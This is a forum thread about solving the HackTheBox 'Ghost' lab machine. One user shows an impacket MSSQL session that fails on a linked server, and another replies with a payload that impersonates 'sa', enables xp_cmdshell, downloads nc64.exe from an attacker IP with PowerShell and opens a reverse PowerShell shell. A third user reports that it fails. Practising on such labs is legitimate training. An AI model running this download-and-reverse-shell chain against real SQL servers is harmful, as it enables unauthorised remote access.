Ghost - Final Steps
by snowydecember - Saturday January 4, 2025 at 07:42 PM
#1
Het I'm trying to solve the Ghost machine and stuck at trying to execute a command in mssql

impacket-mssqlclient florence.ramirez:'uxLmt*udNc6t3HrF'@Ghost.htb -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*]Encryption required, switching to TLS
[*]ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*]ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*]ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*]INFO(DC01): Line 1: Changed database context to 'master'.
[*]INFO(DC01): Line 1: Changed language setting to us_english.
[*]ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (GHOST\florence.ramirez  guest@master)> use_link [PRIMARY]
ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.
SQL (GHOST\florence.ramirez  guest@master)>

someone mentioned on the thread you need to exploit SQL Injection through the web panel. Is anyone aware of the exact command to enter on that web panel at https://core.ghost.htb:8443?
Reply
#2
figured it out

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1; RECONFIGURE; EXEC SP_CONFIGURE ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''echo IWR http://10.10.x.x:[Port]/nc64.exe -Outfile %TEMP%\nc64.exe | powershell -noprofile''; EXEC xp_cmdshell ''%TEMP%\nc64.exe 10.10.x.x [another_port] -e powershell.exe''') AT "PRIMARY";
Reply
#3
that doesnt work ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 375 93,471 1 minute ago
Last Post: Johe
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 604 92,577 2 minutes ago
Last Post: Johe
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 27 2,803 7 minutes ago
Last Post: Johe
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 7,978 1 hour ago
Last Post: char0n1507
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 9 565 1 hour ago
Last Post: char0n1507

Forum Jump:


 Users browsing this forum: 1 Guest(s)